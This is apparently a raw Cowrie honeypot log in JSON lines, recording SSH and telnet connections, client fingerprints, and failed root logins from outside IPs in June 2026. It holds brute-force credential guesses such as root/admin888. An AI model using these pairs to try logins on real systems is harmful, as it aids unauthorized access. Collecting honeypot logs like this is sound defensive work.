{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:a4:da:e8:25:0c:24:a7:cf:50:84:f1:cd:58:dd:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDidMFmslu3x3mWLBvRQgE4wISCo4k506Y0yMa792JQZ7dL7bdg5Yr/o8jBrBaVxhQZDdS42ayFSlYQ0nef3XjxR3CGPsnnR2JnVTiO3fMk/zElDvxsuR3LmLJtfhMqoVRo975bYFcvrwph6hCE3pQnnUO2PztSmiE7Kkj6Fqdga2jf5w4paWNLJTWKr44lYNWU3Wt/IQZc69YHD1X3aVR+WCrFMYeWKj1U+Zoj/p769Ud31/YJT7ViQLEM84ZYaQWY0Uk7dDL8TMH7VtcA+GYOeiEFsIoWh0LKQVFs00yyN1AZG7w1cqT6nuiLVn0MVGPIoRdRXgmBwptt/WUOft5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:a4:da:e8:25:0c:24:a7:cf:50:84:f1:cd:58:dd:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:37.403103Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:a4:da:e8:25:0c:24:a7:cf:50:84:f1:cd:58:dd:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDidMFmslu3x3mWLBvRQgE4wISCo4k506Y0yMa792JQZ7dL7bdg5Yr/o8jBrBaVxhQZDdS42ayFSlYQ0nef3XjxR3CGPsnnR2JnVTiO3fMk/zElDvxsuR3LmLJtfhMqoVRo975bYFcvrwph6hCE3pQnnUO2PztSmiE7Kkj6Fqdga2jf5w4paWNLJTWKr44lYNWU3Wt/IQZc69YHD1X3aVR+WCrFMYeWKj1U+Zoj/p769Ud31/YJT7ViQLEM84ZYaQWY0Uk7dDL8TMH7VtcA+GYOeiEFsIoWh0LKQVFs00yyN1AZG7w1cqT6nuiLVn0MVGPIoRdRXgmBwptt/WUOft5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:37.406164Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:16:29:30:21:7e:7a:a7:3e:d4:04:52:90:c1:2b:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx+FJItAiX+XwbNkHcl5/w+DFusl1v45y+sCuoqCHnEZSXYDz1gaQoXn6o2BUkSOWOMBktpHBjhYIqf80f0ZKfMaCF3u2JGoWvUy470Ek0mnrxsM2DCMfv/UFnJsL4OI+92PWIRJNxdF0AqkNTji8LugQsFgXnGWM1KPQkcL77Kwy3W1V93ABnlp84Ww8ZWAks5S7MHwaZWImWtB8nhDCyOWWEA92IeajDp1gmOMGOUt3z7ZM5uVz3bybqd3+v18Jp/9fyXymakntB8Z3z2ZK9fFGxBdUNTJczN1l6lcJofYtul6P6KJeixQK7DH+w9n+4D1jIHd6x0u9n7DVkI2BBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:16:29:30:21:7e:7a:a7:3e:d4:04:52:90:c1:2b:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:37.520608Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:16:29:30:21:7e:7a:a7:3e:d4:04:52:90:c1:2b:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx+FJItAiX+XwbNkHcl5/w+DFusl1v45y+sCuoqCHnEZSXYDz1gaQoXn6o2BUkSOWOMBktpHBjhYIqf80f0ZKfMaCF3u2JGoWvUy470Ek0mnrxsM2DCMfv/UFnJsL4OI+92PWIRJNxdF0AqkNTji8LugQsFgXnGWM1KPQkcL77Kwy3W1V93ABnlp84Ww8ZWAks5S7MHwaZWImWtB8nhDCyOWWEA92IeajDp1gmOMGOUt3z7ZM5uVz3bybqd3+v18Jp/9fyXymakntB8Z3z2ZK9fFGxBdUNTJczN1l6lcJofYtul6P6KJeixQK7DH+w9n+4D1jIHd6x0u9n7DVkI2BBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:37.523532Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:5f:80:a9:a6:63:95:93:79:f0:1b:c1:79:88:31:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqVC11cB+s/1EZlW/dAN5swz/23sHCoRbtdgFanBTb7uC9lwTNhloAKm7CS8bnDGeoNqDHqoAAwdH0kSZkPQqsTyvJF7qFesTuXmxeCxC5ryrYOuse9nieICm/COM1UNnYcfdcscMzl/JIVxUG8Cp0iLA/etGQooLlZ015/QyJLVqxu06FZLRwbZXXazcfhSs32Oj6dfq5aLUZ77pNnyddwIDxPZc2Gr96Pgt7qV5bfeSSvanJlHE8t5/6Mfe35SK/aqfMccZnJV385MlhIdbPmcBgKei3Zpw9gr74oWExXrfisQabbmb8HR3o9eQZg8TnF7NTwM5Ikj8bbe7JCSPcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:5f:80:a9:a6:63:95:93:79:f0:1b:c1:79:88:31:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:37.639557Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:5f:80:a9:a6:63:95:93:79:f0:1b:c1:79:88:31:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqVC11cB+s/1EZlW/dAN5swz/23sHCoRbtdgFanBTb7uC9lwTNhloAKm7CS8bnDGeoNqDHqoAAwdH0kSZkPQqsTyvJF7qFesTuXmxeCxC5ryrYOuse9nieICm/COM1UNnYcfdcscMzl/JIVxUG8Cp0iLA/etGQooLlZ015/QyJLVqxu06FZLRwbZXXazcfhSs32Oj6dfq5aLUZ77pNnyddwIDxPZc2Gr96Pgt7qV5bfeSSvanJlHE8t5/6Mfe35SK/aqfMccZnJV385MlhIdbPmcBgKei3Zpw9gr74oWExXrfisQabbmb8HR3o9eQZg8TnF7NTwM5Ikj8bbe7JCSPcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:37.643325Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:2d:78:ae:30:5d:0f:92:52:74:5c:aa:50:32:02:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl55sRb0wmYO0/geooTELP7V+0MxqkhMMpHLk5epXVDpnrPEcZrD1Yw/V2f9MAy+Dz50hSQc7mygPpk4pXh/sDTIgZg2pA8x8kDxo9XEjnziU0wjXQt/GLBb1/42mnoKNm3MPbFKARq5JweyIi0lfmAdYjMYtIA2dBkD/qOIXheMZMIKavChIR9NCIHctNBlgsNcSNoDJ4so04mg2exPg1c5yFyu67XLV3GLtBp1QdvLQmnOuAHvfmC/cUKGUalSisAjk2rgNxlO+tGvGoRoSkmtvYvqlXwXeZCbabpgDCNCXUp/7IYoAyuL38X10eOCLIL5wlu0edd6wgLD8NCWup","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:2d:78:ae:30:5d:0f:92:52:74:5c:aa:50:32:02:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:37.759504Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:2d:78:ae:30:5d:0f:92:52:74:5c:aa:50:32:02:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl55sRb0wmYO0/geooTELP7V+0MxqkhMMpHLk5epXVDpnrPEcZrD1Yw/V2f9MAy+Dz50hSQc7mygPpk4pXh/sDTIgZg2pA8x8kDxo9XEjnziU0wjXQt/GLBb1/42mnoKNm3MPbFKARq5JweyIi0lfmAdYjMYtIA2dBkD/qOIXheMZMIKavChIR9NCIHctNBlgsNcSNoDJ4so04mg2exPg1c5yFyu67XLV3GLtBp1QdvLQmnOuAHvfmC/cUKGUalSisAjk2rgNxlO+tGvGoRoSkmtvYvqlXwXeZCbabpgDCNCXUp/7IYoAyuL38X10eOCLIL5wlu0edd6wgLD8NCWup","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:37.763145Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:37.878588Z","src_ip":"103.75.71.22","session":"e61f4fa3b0ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":41858,"dst_ip":"159.203.135.109","dst_port":22,"session":"9548520c3827","protocol":"ssh","message":"New connection: 46.29.234.126:41858 (159.203.135.109:22) [session: 9548520c3827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:52.174709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:52.178346Z","src_ip":"46.29.234.126","session":"9548520c3827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:52.291540Z","src_ip":"46.29.234.126","session":"9548520c3827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superadmin","password":"superadmin@123","message":"login attempt [superadmin/superadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:52.777865Z","src_ip":"46.29.234.126","session":"9548520c3827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:50:53.894832Z","src_ip":"46.29.234.126","session":"9548520c3827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.58987259864807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:51:06.731747Z","src_ip":"166.62.124.255","session":"a21184a68b43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35148,"dst_ip":"10.17.0.5","dst_port":22,"session":"afe4e31f52aa","protocol":"ssh","message":"New connection: 27.71.230.31:35148 (10.17.0.5:22) [session: afe4e31f52aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:09.241497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:09.268286Z","src_ip":"27.71.230.31","session":"afe4e31f52aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:09.536799Z","src_ip":"27.71.230.31","session":"afe4e31f52aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin888","message":"login attempt [root/admin888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:12.446018Z","src_ip":"27.71.230.31","session":"afe4e31f52aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:13.805779Z","src_ip":"27.71.230.31","session":"afe4e31f52aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":58808,"dst_ip":"10.17.0.5","dst_port":23,"session":"336ad41d2daa","protocol":"telnet","message":"New connection: 132.148.22.172:58808 (10.17.0.5:23) [session: 336ad41d2daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:22.327035Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":56346,"dst_ip":"159.203.135.109","dst_port":22,"session":"02bc8278b1f2","protocol":"ssh","message":"New connection: 87.251.79.125:56346 (159.203.135.109:22) [session: 02bc8278b1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:36.206684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:36.209714Z","src_ip":"87.251.79.125","session":"02bc8278b1f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:36.276760Z","src_ip":"87.251.79.125","session":"02bc8278b1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"peekaboo","message":"login attempt [root/peekaboo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:36.483841Z","src_ip":"87.251.79.125","session":"02bc8278b1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:37.553568Z","src_ip":"87.251.79.125","session":"02bc8278b1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.745111227035522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:52:53.072012Z","src_ip":"132.148.22.172","session":"336ad41d2daa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":35212,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc7fa0f607d6","protocol":"ssh","message":"New connection: 89.223.69.22:35212 (10.17.0.5:22) [session: bc7fa0f607d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:53:04.161301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:53:04.165664Z","src_ip":"89.223.69.22","session":"bc7fa0f607d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:53:04.282804Z","src_ip":"89.223.69.22","session":"bc7fa0f607d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dewalt","message":"login attempt [root/dewalt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:53:04.635179Z","src_ip":"89.223.69.22","session":"bc7fa0f607d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:53:05.754737Z","src_ip":"89.223.69.22","session":"bc7fa0f607d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":48406,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a3f599e9950","protocol":"ssh","message":"New connection: 27.71.230.31:48406 (159.203.135.109:22) [session: 6a3f599e9950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:53:29.597826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:53:30.231957Z","src_ip":"27.71.230.31","session":"6a3f599e9950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:53:30.238288Z","src_ip":"27.71.230.31","session":"6a3f599e9950","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin888","message":"login attempt [root/admin888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:53:34.995548Z","src_ip":"27.71.230.31","session":"6a3f599e9950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:53:37.310815Z","src_ip":"27.71.230.31","session":"6a3f599e9950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48436,"dst_ip":"10.17.0.5","dst_port":22,"session":"454952cf1147","protocol":"ssh","message":"New connection: 80.94.92.184:48436 (10.17.0.5:22) [session: 454952cf1147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:08.572958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:09.261368Z","src_ip":"80.94.92.184","session":"454952cf1147","protocol":"ssh"}
